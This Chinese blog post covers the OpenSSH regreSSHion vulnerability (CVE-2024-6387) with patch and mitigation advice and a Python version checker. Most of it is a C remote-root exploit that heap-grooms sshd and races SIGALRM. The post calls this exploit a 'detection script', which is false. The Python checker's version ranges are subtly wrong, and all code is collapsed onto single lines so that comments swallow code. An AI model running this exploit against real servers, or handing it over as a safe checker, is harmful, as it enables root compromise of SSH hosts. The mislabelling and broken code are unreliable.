今日OpenSSH又来新漏洞了,只影响Linux服务器,windows服务器不必担心
什么是OpenSSH?用过linux服务器的站长应该都知道,我们一般链接服务器都是用的ssh服务。OpenSSH就是提供这种服务的。
漏洞说明:目前在 OpenSSH 服务器 (sshd) 中发现了一个未经身份验证的 RCE-as-root 漏洞,编号为 CVE-2024-6387,称为 regreSSHion。该漏洞是一种信号处理程序竞争条件,已知可在基于 32 位 glibc 的 Linux 发行版上运行的特定版本范围的 OpenSSH 默认配置中利用
漏洞影响的软件版本:
4.4p1 之前的 OpenSSH 版本
OpenSSH 版本 8.5p1 至 9.8p1 之间(不包括)
该漏洞可在基于 glibc 的 Linux 发行版(例如基于 Debian)上利用。
漏洞修复建议
1、安全更新
debian12/ubuntu20/ubuntu22/ubuntu24
apt-get update && apt-get upgrade
其他发行版请参考进行升级并重启sshd服务
2、缓解方案
Set LoginGraceTime to 0 in /etc/ssh/sshd_config
此设置可以缓解此RCE漏洞,但可能引发拒绝服务攻击
下面给出两个检测自己服务器是否有CVE-2024-6387漏洞的脚本
python:
import argparseimport paramikoimport re# Vulnerable versionsvulnerable_versions = {"before_4.4p1": lambda version: int(version.split('.')[0]) < 4 or (int(version.split('.')[0]) == 4 and int(version.split('.')[1].split('p')[0]) < 4),"4.4p1_to_8.4p1": lambda version: 4 <= int(version.split('.')[0]) < 8 or (int(version.split('.')[0]) == 8 and int(version.split('.')[1].split('p')[0]) < 5),"8.5p1_to_9.8p1": lambda version: 8 <= int(version.split('.')[0]) < 9 or (int(version.split('.')[0]) == 9 and int(version.split('.')[1].split('p')[0]) < 8)}def parse_version(banner): match = re.search(r'OpenSSH_(\d+\.\d+p\d+)', banner) if match: return match.group(1) else: # Attempt to handle versions with additional text match = re.search(r'OpenSSH_(\d+\.\d+)', banner) if match: version = match.group(1) if re.search(r'(\d+\.\d+p\d+)', banner): return re.search(r'(\d+\.\d+p\d+)', banner).group(1) else: return version +"p1" return Nonedef check_ssh_version(target_ip, target_port): try: transport = paramiko.Transport((target_ip, target_port)) transport.start_client() banner = transport.remote_version transport.close() print(f"SSH Banner: {banner}") version = parse_version(banner) if version: print(f"Detected OpenSSH version: {version}") if vulnerable_versions["before_4.4p1"](version): print(f"Vulnerable version detected: {version} (before 4.4p1)") return True elif vulnerable_versions["4.4p1_to_8.4p1"](version): print(f"Non-vulnerable version detected: {version} (4.4p1 to 8.4p1)") return False elif vulnerable_versions["8.5p1_to_9.8p1"](version): print(f"Vulnerable version detected: {version} (8.5p1 to 9.8p1)") return True else: print("The version is not vulnerable.") return False else: print("Failed to detect OpenSSH version.") return False except Exception as e: print(f"Error connecting to {target_ip}:{target_port} - {e}") return Falsedef main(args): is_vulnerable = check_ssh_version(args.target_ip, args.target_port) if is_vulnerable: print("The target SSH server is vulnerable.") else: print("The target SSH server is not vulnerable.")if __name__ =="__main__": parser = argparse.ArgumentParser(description="Check for vulnerable versions of OpenSSH (CVE-2024-6387).") parser.add_argument('--target-ip', '-t', dest='target_ip', help='Target IP', required=True) parser.add_argument('--target-port', '-p', dest='target_port', help='Target Port', type=int, default=22, required=False) args = parser.parse_args() main(args)
保存为py脚本,然后命令行中使用命令加两个参数:python ssh.py --target-ip 12.0.0.1 --target-port 22
target-ip后跟要检测的ip地址,target-port后跟服务器的ssh端口默认为22
下面这个是c语言版本,c语言的需要编译一下才可以使用
/** 7etsuo-regreSSHion.c * ------------------------------------------------------------------------- * SSH-2.0-OpenSSH_9.2p1 Exploit * ------------------------------------------------------------------------- * * Exploit Title : SSH Exploit for CVE-2024-6387 (regreSSHion) * Author : 7etsuo * Date : 2024-07-01 * * Description: * Targets a signal handler race condition in OpenSSH's * server (sshd) on glibc-based Linux systems. It exploits a vulnerability * where the SIGALRM handler calls async-signal-unsafe functions, leading * to rce as root. * * Notes: * 1. Shellcode : Replace placeholder with actual payload. * 2. GLIBC_BASES : Needs adjustment for specific target systems. * 3. Timing parameters: Fine-tune based on target system responsiveness. * 4. Heap layout : Requires tweaking for different OpenSSH versions. * 5. File structure offsets: Verify for the specific glibc version. * ------------------------------------------------------------------------- */#include <stdlib.h>#include <unistd.h>#include <time.h>#include <string.h>#include <errno.h>#include <fcntl.h>#include <stdint.h>#include <stdio.h>#include <sys/socket.h>#include <netinet/in.h>#include <arpa/inet.h>#include <time.h>#define MAX_PACKET_SIZE (256 * 1024)#define LOGIN_GRACE_TIME 120#define MAX_STARTUPS 100#define CHUNK_ALIGN(s) (((s) + 15) & ~15)// Possible glibc base addresses (for ASLR bypass)uint64_t GLIBC_BASES[] = { 0xb7200000, 0xb7400000 };int NUM_GLIBC_BASES = sizeof (GLIBC_BASES) / sizeof (GLIBC_BASES[0]);// Shellcode placeholder (replace with actual shellcode)unsigned char shellcode[] ="\x90\x90\x90\x90";int setup_connection (const char *ip, int port);void send_packet (int sock, unsigned char packet_type, const unsigned char *data, size_t len);void prepare_heap (int sock);void time_final_packet (int sock, double *parsing_time);int attempt_race_condition (int sock, double parsing_time, uint64_t glibc_base);double measure_response_time (int sock, int error_type);void create_public_key_packet (unsigned char *packet, size_t size, uint64_t glibc_base);void create_fake_file_structure (unsigned char *data, size_t size, uint64_t glibc_base);void send_ssh_version (int sock);int receive_ssh_version (int sock);void send_kex_init (int sock);int receive_kex_init (int sock);int perform_ssh_handshake (int sock);intmain (int argc, char *argv[]){ if (argc != 3) { fprintf (stderr,"Usage: %s <ip> <port>\n", argv[0]); exit (1); } const char *ip = argv[1]; int port = atoi (argv[2]); double parsing_time = 0; int success = 0; srand (time (NULL)); // Attempt exploitation for each possible glibc base address for (int base_idx = 0; base_idx < NUM_GLIBC_BASES && !success; base_idx++) { uint64_t glibc_base = GLIBC_BASES[base_idx]; printf ("Attempting exploitation with glibc base: 0x%lx\n", glibc_base); // The advisory mentions"~10,000 tries on average" for (int attempt = 0; attempt < 20000 && !success; attempt++) { if (attempt % 1000 == 0) { printf ("Attempt %d of 20000\n", attempt); } int sock = setup_connection (ip, port); if (sock < 0) { fprintf (stderr,"Failed to establish connection, attempt %d\n", attempt); continue; } if (perform_ssh_handshake (sock) < 0) { fprintf (stderr,"SSH handshake failed, attempt %d\n", attempt); close (sock); continue; } prepare_heap (sock); time_final_packet (sock, &parsing_time); if (attempt_race_condition (sock, parsing_time, glibc_base)) { printf ("Possible exploitation success on attempt %d with glibc""base 0x%lx!\n", attempt, glibc_base); success = 1; break; } close (sock); usleep (100000); // 100ms delay between attempts, as mentioned in the // advisory } } return !success;}intsetup_connection (const char *ip, int port){ int sock = socket (AF_INET, SOCK_STREAM, 0); if (sock < 0) { perror ("socket"); return -1; } struct sockaddr_in server_addr; memset (&server_addr, 0, sizeof (server_addr)); server_addr.sin_family = AF_INET; server_addr.sin_port = htons (port); if (inet_pton (AF_INET, ip, &server_addr.sin_addr) <= 0) { perror ("inet_pton"); close (sock); return -1; } if (connect (sock, (struct sockaddr *)&server_addr, sizeof (server_addr)) < 0) { perror ("connect"); close (sock); return -1; } // Set socket to non-blocking mode int flags = fcntl (sock, F_GETFL, 0); fcntl (sock, F_SETFL, flags | O_NONBLOCK); return sock;}voidsend_packet (int sock, unsigned char packet_type, const unsigned char *data, size_t len){ unsigned char packet[MAX_PACKET_SIZE]; size_t packet_len = len + 5; packet[0] = (packet_len >> 24) & 0xFF; packet[1] = (packet_len >> 16) & 0xFF; packet[2] = (packet_len >> 8) & 0xFF; packet[3] = packet_len & 0xFF; packet[4] = packet_type; memcpy (packet + 5, data, len); if (send (sock, packet, packet_len, 0) < 0) { perror ("send_packet"); }}voidsend_ssh_version (int sock){ const char *ssh_version ="SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1\r\n"; if (send (sock, ssh_version, strlen (ssh_version), 0) < 0) { perror ("send ssh version"); }}intreceive_ssh_version (int sock){ char buffer[256]; ssize_t received; do { received = recv (sock, buffer, sizeof (buffer) - 1, 0); } while (received < 0 && (errno == EWOULDBLOCK || errno == EAGAIN)); if (received > 0) { buffer[received] = '\0'; printf ("Received SSH version: %s", buffer); return 0; } else if (received == 0) { fprintf (stderr,"Connection closed while receiving SSH version\n"); } else { perror ("receive ssh version"); } return -1;}voidsend_kex_init (int sock){ unsigned char kexinit_payload[36] = { 0 }; send_packet (sock, 20, kexinit_payload, sizeof (kexinit_payload));}intreceive_kex_init (int sock){ unsigned char buffer[1024]; ssize_t received; do { received = recv (sock, buffer, sizeof (buffer), 0); } while (received < 0 && (errno == EWOULDBLOCK || errno == EAGAIN)); if (received > 0) { printf ("Received KEX_INIT (%zd bytes)\n", received); return 0; } else if (received == 0) { fprintf (stderr,"Connection closed while receiving KEX_INIT\n"); } else { perror ("receive kex init"); } return -1;}intperform_ssh_handshake (int sock){ send_ssh_version (sock); if (receive_ssh_version (sock) < 0) return -1; send_kex_init (sock); if (receive_kex_init (sock) < 0) return -1; return 0;}voidprepare_heap (int sock){ // Packet a: Allocate and free tcache chunks for (int i = 0; i < 10; i++) { unsigned char tcache_chunk[64]; memset (tcache_chunk, 'A', sizeof (tcache_chunk)); send_packet (sock, 5, tcache_chunk, sizeof (tcache_chunk)); // These will be freed by the server, populating tcache } // Packet b: Create 27 pairs of large (~8KB) and small (320B) holes for (int i = 0; i < 27; i++) { // Allocate large chunk (~8KB) unsigned char large_hole[8192]; memset (large_hole, 'B', sizeof (large_hole)); send_packet (sock, 5, large_hole, sizeof (large_hole)); // Allocate small chunk (320B) unsigned char small_hole[320]; memset (small_hole, 'C', sizeof (small_hole)); send_packet (sock, 5, small_hole, sizeof (small_hole)); } // Packet c: Write fake headers, footers, vtable and _codecvt pointers for (int i = 0; i < 27; i++) { unsigned char fake_data[4096]; create_fake_file_structure (fake_data, sizeof (fake_data), GLIBC_BASES[0]); send_packet (sock, 5, fake_data, sizeof (fake_data)); } // Packet d: Ensure holes are in correct malloc bins (send ~256KB string) unsigned char large_string[MAX_PACKET_SIZE - 1]; memset (large_string, 'E', sizeof (large_string)); send_packet (sock, 5, large_string, sizeof (large_string));}voidcreate_fake_file_structure (unsigned char *data, size_t size, uint64_t glibc_base){ memset (data, 0, size); struct { void *_IO_read_ptr; void *_IO_read_end; void *_IO_read_base; void *_IO_write_base; void *_IO_write_ptr; void *_IO_write_end; void *_IO_buf_base; void *_IO_buf_end; void *_IO_save_base; void *_IO_backup_base; void *_IO_save_end; void *_markers; void *_chain; int _fileno; int _flags; int _mode; char _unused2[40]; void *_vtable_offset; } *fake_file = (void *)data; // Set _vtable_offset to 0x61 as described in the advisory fake_file->_vtable_offset = (void *)0x61; // Set up fake vtable and _codecvt pointers *(uint64_t *)(data + size - 16) = glibc_base + 0x21b740; // fake vtable (_IO_wfile_jumps) *(uint64_t *)(data + size - 8) = glibc_base + 0x21d7f8; // fake _codecvt}voidtime_final_packet (int sock, double *parsing_time){ double time_before = measure_response_time (sock, 1); double time_after = measure_response_time (sock, 2); *parsing_time = time_after - time_before; printf ("Estimated parsing time: %.6f seconds\n", *parsing_time);}doublemeasure_response_time (int sock, int error_type){ unsigned char error_packet[1024]; size_t packet_size; if (error_type == 1) { // Error before sshkey_from_blob packet_size = snprintf ((char *)error_packet, sizeof (error_packet),"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3"); } else { // Error after sshkey_from_blob packet_size = snprintf ((char *)error_packet, sizeof (error_packet),"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAQQDZy9"); } struct timespec start, end; clock_gettime (CLOCK_MONOTONIC, &start); send_packet (sock, 50, error_packet, packet_size); // SSH_MSG_USERAUTH_REQUEST char response[1024]; ssize_t received; do { received = recv (sock, response, sizeof (response), 0); } while (received < 0 && (errno == EWOULDBLOCK || errno == EAGAIN)); clock_gettime (CLOCK_MONOTONIC, &end); double elapsed = (end.tv_sec - start.tv_sec) + (end.tv_nsec - start.tv_nsec) / 1e9; return elapsed;}voidcreate_public_key_packet (unsigned char *packet, size_t size, uint64_t glibc_base){ memset (packet, 0, size); size_t offset = 0; for (int i = 0; i < 27; i++) { // malloc(~4KB) - This is for the large hole *(uint32_t *)(packet + offset) = CHUNK_ALIGN (4096); offset += CHUNK_ALIGN (4096); // malloc(304) - This is for the small hole (potential FILE structure) *(uint32_t *)(packet + offset) = CHUNK_ALIGN (304); offset += CHUNK_ALIGN (304); } // Add necessary headers for the SSH public key format memcpy (packet,"ssh-rsa", 8); // Place shellcode in the heap via previous allocations memcpy (packet + CHUNK_ALIGN (4096) * 13 + CHUNK_ALIGN (304) * 13, shellcode, sizeof (shellcode)); // Set up the fake FILE structures within the packet for (int i = 0; i < 27; i++) { create_fake_file_structure (packet + CHUNK_ALIGN (4096) * (i + 1) + CHUNK_ALIGN (304) * i, CHUNK_ALIGN (304), glibc_base); }}intattempt_race_condition (int sock, double parsing_time, uint64_t glibc_base){ unsigned char final_packet[MAX_PACKET_SIZE]; create_public_key_packet (final_packet, sizeof (final_packet), glibc_base); // Send all but the last byte if (send (sock, final_packet, sizeof (final_packet) - 1, 0) < 0) { perror ("send final packet"); return 0; } // Precise timing for last byte struct timespec start, current; clock_gettime (CLOCK_MONOTONIC, &start); while (1) { clock_gettime (CLOCK_MONOTONIC, ¤t); double elapsed = (current.tv_sec - start.tv_sec) + (current.tv_nsec - start.tv_nsec) / 1e9; if (elapsed >= (LOGIN_GRACE_TIME - parsing_time - 0.001)) { // 1ms before SIGALRM if (send (sock, &final_packet[sizeof (final_packet) - 1], 1, 0) < 0) { perror ("send last byte"); return 0; } break; } } // Check for successful exploitation char response[1024]; ssize_t received = recv (sock, response, sizeof (response), 0); if (received > 0) { printf ("Received response after exploit attempt (%zd bytes)\n", received); // Analyze response to determine if we hit the"large" race window if (memcmp (response,"SSH-2.0-", 8) != 0) { printf ("Possible hit on 'large' race window\n"); return 1; } } else if (received == 0) { printf ("Connection closed by server - possible successful exploitation\n"); return 1; } else if (errno == EWOULDBLOCK || errno == EAGAIN) { printf ("No immediate response from server - possible successful""exploitation\n"); return 1; } else { perror ("recv"); } return 0;}intperform_exploit (const char *ip, int port){ int success = 0; double parsing_time = 0; double timing_adjustment = 0; for (int base_idx = 0; base_idx < NUM_GLIBC_BASES && !success; base_idx++) { uint64_t glibc_base = GLIBC_BASES[base_idx]; printf ("Attempting exploitation with glibc base: 0x%lx\n", glibc_base); for (int attempt = 0; attempt < 10000 && !success; attempt++) { if (attempt % 1000 == 0) { printf ("Attempt %d of 10000\n", attempt); } int sock = setup_connection (ip, port); if (sock < 0) { fprintf (stderr,"Failed to establish connection, attempt %d\n", attempt); continue; } if (perform_ssh_handshake (sock) < 0) { fprintf (stderr,"SSH handshake failed, attempt %d\n", attempt); close (sock); continue; } prepare_heap (sock); time_final_packet (sock, &parsing_time); // Implement feedback-based timing strategy parsing_time += timing_adjustment; if (attempt_race_condition (sock, parsing_time, glibc_base)) { printf ("Possible exploitation success on attempt %d with glibc""base 0x%lx!\n", attempt, glibc_base); success = 1; // In a real exploit, we would now attempt to interact with the // shell } else { // Adjust timing based on feedback timing_adjustment += 0.00001; // Small incremental adjustment } close (sock); usleep (100000); // 100ms delay between attempts, as mentioned in the // advisory } } return success;}